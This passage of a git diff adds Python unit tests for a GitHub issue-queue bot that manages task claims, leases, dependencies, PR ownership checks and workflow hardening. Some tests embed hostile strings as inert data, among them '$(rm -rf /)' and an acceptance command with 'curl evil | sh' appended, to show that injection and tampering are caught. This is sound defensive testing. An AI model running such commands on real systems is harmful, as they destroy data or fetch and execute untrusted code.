tasks): + """Dependency problems for one task: missing, open and cyclic dependencies.""" + res = {"missing": [], "open": [], "cycle": []} + for d in task["depends"]: + dep = tasks.get(d) + if dep is None or dep["state"] == "MISSING": + res["missing"].append(d) + elif dep["state"] == "OPEN": + res["open"].append(d) + for cyc in find_cycles(tasks): + if task["number"] in cyc: + res["cycle"] = cyc + break + return res diff --git a/tests/agent_queue/helpers.py b/tests/agent_queue/helpers.py new file mode 100644 index 0000000..d12a527 --- /dev/null +++ b/tests/agent_queue/helpers.py @@ -0,0 +1,42 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +import json +import os +import sys + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "scripts")) + +from agent_queue import config as cfgmod # noqa: E402 +from agent_queue.tasks import parse_time # noqa: E402 + +ROOT = os.path.join(os.path.dirname(__file__), "..", "..") +CFG = cfgmod.parse(json.dumps({ + "lease_hours": 24, "upstream": "o/r", "maintainers": ["maint"], + "contributors": {"maint": ["cpu", "shared", "qa"], "gpuer": ["gpu", "shared"], + "rt": ["runtime"], "qaer": ["qa"]}, +})) +NOW = parse_time("2026-01-10T12:00:00Z") + + +def body(area="gpu", files="src/gpu/a.rs", deps="", acceptance="cargo test -p gpu", prio="high", interface=""): + return ("### Area\n\n%s\n\n### Priority\n\n%s\n\n### Goal\n\ng\n\n### Files\n\n%s\n\n### Acceptance command\n\n%s\n\n" + "### Depends on\n\n%s\n\n### Interface\n\n%s\n\n### Context\n\n_No response_\n") % ( + area, prio, files, acceptance, deps or "_No response_", interface or "_No response_") + + +def issue(n, labels=("agent:ready",), state="OPEN", title=None, **kw): + return {"number": n, "title": title or "task %d" % n, "state": state, + "labels": [{"name": l} for l in labels], "body": body(**kw)} + + +def comment(user, text, at="2026-01-10T10:00:00Z"): + return {"user": user, "body": text, "created_at": at} + + +def state(*issues, **extra): + s = {"issues": list(issues), "prs": [], "task_comments": {}} + s.update(extra) + return s + + +def event(actor, text, n=1, kind="issue"): + return {"kind": kind, "number": n, "actor": actor, "body": text} diff --git a/tests/agent_queue/test_decide.py b/tests/agent_queue/test_decide.py new file mode 100644 index 0000000..6152e39 --- /dev/null +++ b/tests/agent_queue/test_decide.py @@ -0,0 +1,124 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +import unittest + +from helpers import CFG, comment, event, issue, state +from agent_queue.decide import decide +from agent_queue.lease import GRANT + + +def one(actions): + assert len(actions) == 1, actions + return actions[0] + + +class Claim(unittest.TestCase): + def claim(self, st, actor="gpuer", n=1): + return one(decide(event(actor, "/claim", n), st, CFG)) + + def test_granted(self): + a = self.claim(state(issue(1))) + self.assertIn("claimed-by:gpuer", a["add_labels"]) + self.assertIn("agent:ready", a["remove_labels"]) + m = GRANT.search(a["comment"]) + self.assertEqual((m.group(1), m.group(2)), ("1", "gpuer")) + + def test_not_ready(self): + a = self.claim(state(issue(1, labels=("agent:claimed", "claimed-by:rt"), area="runtime"))) + self.assertIn("not claimable", a["comment"]) + self.assertEqual(a["add_labels"], []) + + def test_wrong_area(self): + a = self.claim(state(issue(1, area="cpu"))) + self.assertIn("not allowed", a["comment"]) + self.assertEqual(a["add_labels"], []) + + def test_maintainer_any_area(self): + a = self.claim(state(issue(1, area="gpu")), actor="maint") + self.assertIn("claimed-by:maint", a["add_labels"]) + + def test_open_dependency(self): + a = self.claim(state(issue(1, deps="#2"), issue(2, labels=()))) + self.assertIn("open dependencies: #2", a["comment"]) + + def test_closed_dependency_ok(self): + a = self.claim(state(issue(1, deps="#2"), issue(2, labels=(), state="CLOSED"))) + self.assertIn("agent:claimed", a["add_labels"]) + + def test_missing_dependency(self): + a = self.claim(state(issue(1, deps="#9"))) + self.assertIn("not found: #9", a["comment"]) + + def test_cycle(self): + a = self.claim(state(issue(1, deps="#2"), issue(2, deps="#1", files="other/"))) + self.assertIn("cycle", a["comment"]) + + def test_overlap_named(self): + held = issue(2, labels=("agent:claimed", "claimed-by:rt"), area="runtime", files="src/gpu/") + a = self.claim(state(issue(1, files="src/gpu/a.rs"), held)) + self.assertIn("overlap with claimed task #2", a["comment"]) + self.assertEqual(a["add_labels"], []) + + def test_unclaimed_overlap_allowed(self): + a = self.claim(state(issue(1, files="src/gpu/a.rs"), issue(2, files="src/gpu/"))) + self.assertIn("agent:claimed", a["add_labels"]) + + def test_non_command_ignored(self): + self.assertEqual(decide(event("gpuer", "thanks /claim later"), state(issue(1)), CFG), []) + + +class Lifecycle(unittest.TestCase): + held = ("agent:claimed", "claimed-by:gpuer") + + def run_cmd(self, actor, text, labels=held, **kw): + return decide(event(actor, text), state(issue(1, labels=labels, **kw)), CFG) + + def test_release_holder_and_maintainer(self): + for who in ("gpuer", "maint"): + a = one(self.run_cmd(who, "/release")) + self.assertIn("agent:ready", a["add_labels"]) + self.assertIn("claimed-by:gpuer", a["remove_labels"]) + + def test_release_other_refused(self): + a = one(self.run_cmd("rt", "/release")) + self.assertEqual(a["add_labels"], []) + self.assertIn("Only the holder", a["comment"]) + + def test_reassign(self): + a = one(self.run_cmd("maint", "/reassign rt", area="runtime")) + self.assertIn("claimed-by:rt", a["add_labels"]) + self.assertIn("claimed-by:gpuer", a["remove_labels"]) + self.assertIn("login=rt", a["comment"]) + + def test_reassign_refusals(self): + self.assertIn("Only a maintainer", one(self.run_cmd("gpuer", "/reassign rt", area="runtime"))["comment"]) + self.assertIn("not allowed", one(self.run_cmd("maint", "/reassign rt"))["comment"]) + + def test_progress_holder_only_and_needs_text(self): + self.assertIn("renewed", one(self.run_cmd("gpuer", "/progress parser done"))["comment"]) + self.assertIn("Only the holder", one(self.run_cmd("rt", "/progress parser done"))["comment"]) + self.assertIn("not renewed", one(self.run_cmd("gpuer", "/progress"))["comment"]) + + def test_blocked_unblock(self): + a = one(self.run_cmd("gpuer", "/blocked waiting on #5")) + self.assertEqual(a["add_labels"], ["agent:blocked"]) + self.assertEqual(one(self.run_cmd("rt", "/blocked x"))["add_labels"], []) + self.assertEqual(one(self.run_cmd("maint", "/unblock", labels=self.held + ("agent:blocked",)))["remove_labels"], ["agent:blocked"]) + + def test_approve_acceptance_maintainer_only(self): + a = one(self.run_cmd("maint", "/approve-acceptance")) + self.assertIn("agent-queue:acceptance sha256=", a["comment"]) + self.assertNotIn("agent-queue:acceptance", one(self.run_cmd("gpuer", "/approve-acceptance"))["comment"]) + + +class Inert(unittest.TestCase): + def test_metacharacters_stay_data(self): + evil = "x`id`; $(rm -rf /) | \"'" + a = decide(event("gpuer", "/claim " + evil), state(issue(1, files=evil + "\nsrc/gpu/a.rs", acceptance=evil)), CFG) + self.assertEqual(len(a), 1) + out = decide(event("maint", "/blocked " + evil), state(issue(1, labels=("agent:claimed", "claimed-by:gpuer"))), CFG) + self.assertIn(evil, one(out)["comment"]) + self.assertEqual(one(out)["add_labels"], ["agent:blocked"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/agent_queue/test_lease_accept.py b/tests/agent_queue/test_lease_accept.py new file mode 100644 index 0000000..6dfc08e --- /dev/null +++ b/tests/agent_queue/test_lease_accept.py @@ -0,0 +1,93 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +import unittest + +from helpers import CFG, NOW, body, comment, issue, state +from agent_queue import lease as L, tasks as T +from agent_queue.queue import audit + +BOT = "github-actions[bot]" +HELD = ("agent:claimed", "claimed-by:gpuer") + + +def task(): + return T.parse_task(issue(1, labels=HELD)) + + +def grant(at): + return comment(BOT, L.grant_marker(1, "gpuer"), at) + + +class Lease(unittest.TestCase): + def test_lapses_after_lease_hours(self): + c = [grant("2026-01-09T11:00:00Z")] + self.assertTrue(L.lapsed(task(), c, [], CFG, NOW)) + self.assertFalse(L.lapsed(task(), [grant("2026-01-09T13:00:00Z")], [], CFG, NOW)) + + def test_holder_progress_renews(self): + c = [grant("2026-01-09T11:00:00Z"), comment("gpuer", "/progress did x", "2026-01-10T09:00:00Z")] + self.assertFalse(L.lapsed(task(), c, [], CFG, NOW)) + + def test_others_comments_do_not_renew(self): + c = [grant("2026-01-09T11:00:00Z"), comment("rt", "/progress did x", "2026-01-10T09:00:00Z"), + comment("gpuer", "just chatting", "2026-01-10T09:00:00Z")] + self.assertTrue(L.lapsed(task(), c, [], CFG, NOW)) + + def test_forged_grant_marker_ignored(self): + c = [grant("2026-01-09T11:00:00Z"), comment("rt", L.grant_marker(1, "gpuer"), "2026-01-10T11:00:00Z")] + self.assertTrue(L.lapsed(task(), c, [], CFG, NOW)) + + def test_linked_pr_push_renews(self): + pr = {"author": "gpuer", "body": "Closes #1", "head_pushed_at": "2026-01-10T08:00:00Z"} + self.assertFalse(L.lapsed(task(), [grant("2026-01-09T11:00:00Z")], [pr], CFG, NOW)) + other = dict(pr, author="rt") + self.assertTrue(L.lapsed(task(), [grant("2026-01-09T11:00:00Z")], [other], CFG, NOW)) + + def test_audit_lapses_and_skips_blocked(self): + st = state(issue(1, labels=HELD), task_comments={"1": [grant("2026-01-09T11:00:00Z")]}) + a = audit(st, CFG, NOW) + self.assertEqual(a[0]["issue"], 1) + self.assertIn("agent:ready", a[0]["add_labels"]) + st = state(issue(1, labels=HELD + ("agent:blocked",)), task_comments={"1": [grant("2026-01-09T11:00:00Z")]}) + self.assertEqual(audit(st, CFG, NOW), []) + + def test_audit_invalid_cycle_and_missing(self): + st = state(issue(1, deps="#2"), issue(2, deps="#1", files="b/"), issue(3, deps="#99", files="c/")) + marked = {a["issue"]: a for a in audit(st, CFG, NOW)} + self.assertEqual(sorted(marked), [1, 2, 3]) + self.assertIn("agent:invalid", marked[3]["add_labels"]) + + def test_audit_recovers_invalid(self): + st = state(issue(1, labels=("agent:invalid",))) + self.assertEqual(audit(st, CFG, NOW)[0]["add_labels"], ["agent:ready"]) + + +class Acceptance(unittest.TestCase): + def test_hash_ignores_whitespace_and_fences(self): + self.assertEqual(T.acceptance_hash("cargo test\n"), T.acceptance_hash("```sh\ncargo test\n```")) + self.assertNotEqual(T.acceptance_hash("cargo test"), T.acceptance_hash("cargo test -- x")) + + def test_mismatch_after_body_edit(self): + approved = L.acceptance_marker(T.acceptance_hash("cargo test -p gpu")) + cs = [comment(BOT, approved)] + self.assertEqual(L.approved_hash(cs), T.acceptance_hash(T.parse_task(issue(1))["acceptance"])) + edited = T.parse_task(issue(1, acceptance="cargo test -p gpu; curl evil | sh")) + self.assertNotEqual(L.approved_hash(cs), T.acceptance_hash(edited["acceptance"])) + + def test_approval_from_non_bot_ignored(self): + cs = [comment("rt", L.acceptance_marker("0" * 64))] + self.assertIsNone(L.approved_hash(cs)) + + +class Deps(unittest.TestCase): + def test_parse_fields_and_empty(self): + t = T.parse_task(issue(1, deps="#3, #2", interface="gpu-abi v2", prio="critical")) + self.assertEqual((t["depends"], t["interface"], t["priority"]), ([2, 3], "gpu-abi v2", "critical")) + e = T.parse_task(issue(1)) + self.assertEqual(e["depends"], []) + self.assertEqual(e["interface"], "") + + def test_cycle_report(self): + ts = {n: T.parse_task(issue(n, deps=d)) for n, d in ((1, "#2"), (2, "#3"), (3, "#1"), (4, ""))} + cyc = T.find_cycles(ts) + self.assertEqual(len(cyc), 1) + self.assertEqual(sorted(set(cyc[0])), [1, 2, 3]) diff --git a/tests/agent_queue/test_patterns.py b/tests/agent_queue/test_patterns.py new file mode 100644 index 0000000..0f06aff --- /dev/null +++ b/tests/agent_queue/test_patterns.py @@ -0,0 +1,33 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +import unittest + +import helpers # noqa: F401 +from agent_queue.patterns import patterns_overlap as ov, path_matches as pm, sets_overlap + + +class Patterns(unittest.TestCase): + def test_matches(self): + self.assertTrue(pm("a/b.rs", "a/b.rs")) + self.assertTrue(pm("a/b/c.rs", "a/")) + self.assertFalse(pm("ab/c.rs", "a/")) + self.assertTrue(pm("a/b.rs", "a/*.rs")) + self.assertFalse(pm("a/x/b.rs", "a/*.rs")) + self.assertTrue(pm("a/x/y/b.rs", "a/**/b.rs")) + self.assertTrue(pm("a/b.rs", "a/**/b.rs")) + self.assertTrue(pm("a/x/y.rs", "a/**")) + + def test_overlap_exact_dir_glob(self): + self.assertTrue(ov("a/b.rs", "a/b.rs")) + self.assertFalse(ov("a/b.rs", "a/c.rs")) + self.assertTrue(ov("a/", "a/b/c.rs")) + self.assertTrue(ov("a/b/", "a/")) + self.assertFalse(ov("a/", "b/")) + self.assertTrue(ov("a/**", "a/x/y.rs")) + self.assertTrue(ov("a/*.rs", "a/")) + self.assertTrue(ov("a/**/gpu/*.rs", "a/x/")) + self.assertFalse(ov("a/x*", "a/y*")) + self.assertFalse(ov("a/b.rs", "a/*.txt")) + + def test_sets(self): + self.assertEqual(sets_overlap(["x/a.rs", "y/"], ["z.rs", "y/q.rs"]), ("y/", "y/q.rs")) + self.assertIsNone(sets_overlap(["x/a.rs"], ["y/"])) diff --git a/tests/agent_queue/test_prcheck_summary.py b/tests/agent_queue/test_prcheck_summary.py new file mode 100644 index 0000000..0b3f41c --- /dev/null +++ b/tests/agent_queue/test_prcheck_summary.py @@ -0,0 +1,110 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +import json +import unittest + +from helpers import CFG, NOW, issue, state +from agent_queue import lease as L +from agent_queue.decide import decide +from agent_queue.prcheck import check_pr +from agent_queue.queue import summary + +BOT = "github-actions[bot]" +SHA = "a" * 40 +HELD = ("agent:claimed", "claimed-by:gpuer") + + +def pr(n=10, author="gpuer", files=("src/gpu/a.rs",), body="Closes #1", sha=SHA): + return {"number": n, "author": author, "body": body, "head_sha": sha, + "head_pushed_at": "2026-01-10T11:00:00Z", "files": list(files), "state": "OPEN"} + + +def run(p, comments=(), others=(), issues=None): + st = state(*(issues or [issue(1, labels=HELD)]), prs=[p] + list(others), + task_comments={"1": [{"user": BOT, "body": L.grant_marker(1, "gpuer"), "created_at": "2026-01-10T01:00:00Z"}]}) + st["pr"], st["pr_comments"] = p, list(comments) + return check_pr(st, CFG, NOW) + + +def vc(user, sha=SHA[:12]): + return {"user": user, "body": "/verified " + sha, "created_at": "2026-01-10T11:30:00Z"} + + +class PRChecks(unittest.TestCase): + def test_clean_pr_passes(self): + r = run(pr(), [vc("qaer")]) + self.assertTrue(r["ok"], r) + self.assertEqual(r["verified_by"], ["qaer"]) + + def test_missing_link(self): + r = run(pr(body="no link"), [vc("qaer")]) + self.assertFalse(r["ok"]) + self.assertIn("no linked task", r["problems"][0]) + + def test_ownership_violation(self): + r = run(pr(files=("src/gpu/a.rs", "src/cpu/x.rs")), [vc("qaer")]) + self.assertFalse(r["ok"]) + self.assertTrue(any("outside task #1" in p and "src/cpu/x.rs" in p for p in r["problems"])) + + def test_cross_pr_overlap(self): + other = pr(n=11, author="rt", files=("src/gpu/a.rs",), body="Closes #2") + r = run(pr(), [vc("qaer")], others=[other]) + self.assertTrue(any("overlaps open PR #11" in p for p in r["problems"])) + + def test_task_held_by_someone_else(self): + r = run(pr(author="rt"), [vc("qaer")]) + self.assertTrue(any("not the pull request author" in p for p in r["problems"])) + + def test_unverified(self): + r = run(pr()) + self.assertTrue(any("verification missing" in p for p in r["problems"])) + + def test_verification_by_author_or_holder_rejected(self): + self.assertFalse(run(pr(), [vc("gpuer")])["ok"]) + # holder of the linked task who is not the author + r = run(pr(author="maint"), [vc("gpuer")]) + self.assertEqual(r["verified_by"], []) + + def test_verification_by_ineligible_rejected(self): + self.assertEqual(run(pr(), [vc("rt")])["verified_by"], []) + + def test_stale_sha_rejected(self): + r = run(pr(), [vc("deadbeef00")]) + self.assertEqual(r["verified_by"], []) + self.assertFalse(r["ok"]) + + def test_lapsed_claim_and_stale_head(self): + p = pr() + p["head_pushed_at"] = "2026-01-08T00:00:00Z" + st = state(issue(1, labels=HELD), prs=[p], task_comments={"1": [ + {"user": BOT, "body": L.grant_marker(1, "gpuer"), "created_at": "2026-01-08T00:00:00Z"}]}) + st["pr"], st["pr_comments"] = p, [vc("qaer")] + self.assertTrue(any("lapsed" in x for x in check_pr(st, CFG, NOW)["problems"])) + + +class VerifiedCommand(unittest.TestCase): + def go(self, actor, sha=SHA[:12], author="gpuer"): + st = state(issue(1, labels=HELD)) + st["pr"] = pr(author=author) + ev = {"kind": "pr", "number": 10, "actor": actor, "body": "/verified " + sha} + return decide(ev, st, CFG)[0]["comment"] + + def test_outcomes(self): + self.assertIn("recorded", self.go("qaer")) + self.assertIn("author cannot", self.go("gpuer")) + self.assertIn("holds the linked task", self.go("gpuer", author="maint")) + self.assertIn("may not verify", self.go("rt")) + self.assertIn("not the current head", self.go("qaer", sha="1234567")) + + +class Summary(unittest.TestCase): + def test_shape_and_json(self): + st = state(issue(1), issue(2, labels=HELD, area="cpu", prio="low"), issue(3, labels=("bug",))) + st["prs"] = [pr()] + s = json.loads(json.dumps(summary(st, "2026-01-10T12:00:00Z"))) + self.assertEqual(set(s), {"generated_at", "totals", "by_area", "tasks", "pull_requests"}) + self.assertEqual(s["totals"], {"ready": 1, "claimed": 1}) + self.assertEqual(s["by_area"]["gpu"]["high"]["ready"], [1]) + self.assertEqual(s["by_area"]["cpu"]["low"]["claimed"], [2]) + self.assertEqual([t["number"] for t in s["tasks"]], [1, 2]) + self.assertEqual(s["tasks"][1]["holder"], "gpuer") + self.assertEqual(s["pull_requests"][0]["links"], [1]) diff --git a/tests/agent_queue/test_workflows_cli.py b/tests/agent_queue/test_workflows_cli.py new file mode 100644 index 0000000..cae30d6 --- /dev/null +++ b/tests/agent_queue/test_workflows_cli.py @@ -0,0 +1,115 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +import json +import os +import re +import subprocess +import sys +import tempfile +import unittest + +from helpers import ROOT, issue + +def dump(obj, path): + with open(path, "w") as fh: + json.dump(obj, fh) + + +WF = os.path.join(ROOT, ".github", "workflows") +QUEUE_WORKFLOWS = ["agent-claims.yml", "agent-pr-checks.yml"] +USER_TEXT = re.compile(r"\$\{\{\s*github\.event\.(comment|issue|pull_request)\.(body|title)|github\.head_ref") + + +def run_blocks(text): + """Text of every `run:` block (literal block scalar or single line).""" + out, lines, i = [], text.split("\n"), 0 + while i < len(lines): + m = re.match(r"^(\s*)(?:- )?run:\s*(.*)$", lines[i]) + if m: + indent, rest = len(m.group(1)), m.group(2) + if rest in ("|", ">", "|-", ">-"): + block = [] + i += 1 + while i < len(lines) and (not lines[i].strip() or len(lines[i]) - len(lines[i].lstrip()) > indent): + block.append(lines[i]) + i += 1 + out.append("\n".join(block)) + continue + out.append(rest) + i += 1 + return out + + +class Workflows(unittest.TestCase): + def read(self, name): + with open(os.path.join(WF, name), encoding="utf-8") as fh: + return fh.read() + + def test_top_level_permissions_and_no_user_text_in_run(self): + for name in QUEUE_WORKFLOWS: + text = self.read(name) + self.assertRegex(text, r"(?m)^permissions:", name) + blocks = run_blocks(text) + self.assertTrue(blocks, name) + for b in blocks: + self.assertNotRegex(b, r"\$\{\{", "%s: expression inside run" % name) + self.assertIsNone(USER_TEXT.search(b), name) + + def test_checker_detects_violation(self): + bad = "jobs:\n a:\n steps:\n - run: |\n echo ${{ github.event.comment.body }}\n" + self.assertTrue(any(re.search(r"\$\{\{", b) for b in run_blocks(bad))) + + def test_pr_workflow_never_checks_out_pr_code(self): + text = self.read("agent-pr-checks.yml") + self.assertNotRegex(text, r"github\.event\.pull_request\.head|ref:\s*\$\{\{") + self.assertIn("pull_request_target", text) + + def test_actions_pinned_by_sha(self): + for name in QUEUE_WORKFLOWS: + for use in re.findall(r"uses:\s*(\S+)", self.read(name)): + self.assertRegex(use, r"@[0-9a-f]{40}$", name) + + +class Cli(unittest.TestCase): + def run_cli(self, *args, stdin=None): + env = dict(os.environ, PYTHONPATH=os.path.join(ROOT, "scripts")) + return subprocess.run([sys.executable, "-m", "agent_queue", "--config", os.path.join(ROOT, ".github", "agent-queue.json")] + list(args), + input=stdin, capture_output=True, text=True, env=env) + + def test_shipped_config_parses(self): + r = self.run_cli("config-get", "upstream") + self.assertEqual(r.returncode, 0, r.stderr) + self.assertEqual(r.stdout.strip(), "ranveersoni98/Xenora") + + def test_acceptance_authorization_end_to_end(self): + from agent_queue import lease as L, tasks as T + i = issue(1) + digest = T.acceptance_hash("cargo test -p gpu") + with tempfile.TemporaryDirectory() as d: + ip, cp = os.path.join(d, "i.json"), os.path.join(d, "c.json") + dump(i, ip) + dump([], cp) + r = self.run_cli("acceptance", "--issue", ip, "--comments", cp) + self.assertEqual(r.returncode, 3) + self.assertEqual(r.stdout, "") + dump([{"user": "github-actions[bot]", "body": L.acceptance_marker(digest), "created_at": "2026-01-10T10:00:00Z"}], cp) + r = self.run_cli("acceptance", "--issue", ip, "--comments", cp) + self.assertEqual((r.returncode, r.stdout.strip()), (0, "cargo test -p gpu")) + i["body"] = i["body"].replace("cargo test -p gpu", "cargo test -p gpu && evil") + dump(i, ip) + self.assertEqual(self.run_cli("acceptance", "--issue", ip, "--comments", cp).returncode, 3) + + def test_scripts_parse(self): + for s in ("agent-queue.sh", "agent-sync.sh"): + r = subprocess.run(["sh", "-n", os.path.join(ROOT, "scripts", s)], capture_output=True, text=True) + self.assertEqual(r.returncode, 0, r.stderr) + + def test_event_normalisation(self): + with tempfile.TemporaryDirectory() as d: + p = os.path.join(d, "e.json") + dump({"issue": {"number": 4, "pull_request": {}}, "comment": {"body": "/verified abc1234", "user": {"login": "q"}}}, p) + out = json.loads(self.run_cli("event", "--path", p).stdout) + self.assertEqual(out, {"kind": "pr", "number": 4, "actor": "q", "body": "/verified abc1234"}) + + +if __name__ == "__main__": + unittest.main()